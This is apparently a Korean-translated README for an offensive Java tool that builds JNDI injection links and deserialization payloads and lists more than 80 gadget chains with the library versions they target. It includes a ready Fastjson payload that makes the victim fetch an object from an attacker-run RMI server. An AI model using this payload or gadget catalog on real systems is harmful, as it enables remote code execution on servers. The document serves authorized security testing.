cckuailong/jndi-injection-exploit-plus작동 가능한 JNDI 인젝션 링크와 80개 이상의 가젯을 포함한 역직렬화 페이로드를 생성하며, 자동화된 취약점 테스트를 위해 RMI, LDAP 및 HTTP 서버를 지원합니다.
JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다.
이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC에 삽입하여 취약점을 테스트할 수 있습니다.
예를 들어, 다음은 Fastjson 취약점 POC입니다:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
"rmi://127.0.0.1:1099/Object"를 JNDI-Injection-Exploit-Plus로 생성된 링크로 바꾸어 취약점을 테스트할 수 있습니다.
또한 JNDI-Injection-Exploit-Plus를 사용하여 ysoserial과 같은 base64/hex 유형의 페이로드를 생성할 수 있습니다.
JNDI-Injection-Exploit는 훌륭한 도구이며, 이것은 그 플러스 버전입니다.
| 페이로드 | 작성자 | 의존성 |
|---|---|---|
| Tomcat 8+ 또는 SpringBoot | @welk1n | trustURLCodebase가 false이지만 클래스패스에 Tomcat 8+ 또는 SpringBoot 1.2.x+가 있는 경우 |
| Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase가 false이지만 클래스패스에 Tomcat과 Groovy가 있는 경우 |
| Groovy (GroovyShell) | @cckuailong | trustURLCodebase가 false이지만 클래스패스에 Tomcat과 Groovy가 있는 경우 |
| Websphere Readfile | @cckuailong | trustURLCodebase가 false이지만 클래스패스에 WebSphere v6-v9가 있는 경우 |
참고: ysoserial보다 더 많은 Gadget(⬆️ )이 있습니다. 더 많은 PR을 환영합니다! ^_^
| payload | author | dependencies |
|---|---|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| C3P0Tomcat | @yulegeyu | tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| Coherence1 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence2 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence3 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence4 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence5 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence6 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2 |
| CommonsBeanutils2 ⬆️ | @cckuailong | commons-beanutils:1.9.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections1_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections2_1 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections3_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections5_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections6_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_2 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_3 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| CommonsCollections7_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections8 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections9 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections10 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections11 ⬆️ | @cckuailong | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| Jackson ⬆️ | @y4er | com.fasterxml.jackson.core:jackson-databind:2.14.2 |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| JRMPClient1 | @mbechler | |
| JRMPClient2 ⬆️ | @cckuailong | |
| JRMPClient3 ⬆️ | @cckuailong | |
| JRMPClient4 ⬆️ | @cckuailong | |
| JRMPClient5 ⬆️ | @cckuailong | |
| JRMPClient6 ⬆️ | @cckuailong | |
| JRMPListener1 | @cckuailong | |
| JSON1 | @mbechler | json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME1 | @mbechler | rome:1.0 |
| ROME2 ⬆️ | @firebasky | rome:1.0 |
| Scala1 ⬆️ | @jarij | org.scala-lang:scala-library:2.13.x |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| Spring3 ⬆️ | @cckuailong | spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 |
| URLDNS | @gebl | JRE만으로 취약점 탐지 |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Weblogic1 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic2 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic3 ⬆️ | @cckuailong | com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager |
| Weblogic4 ⬆️ | @cckuailong | weblogic.common.internal.WLObjectOutputStream |
| Weblogic5 ⬆️ | @cckuailong | weblogic:12.2.1.4, coherence |
| Weblogic6 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic7 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic8 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |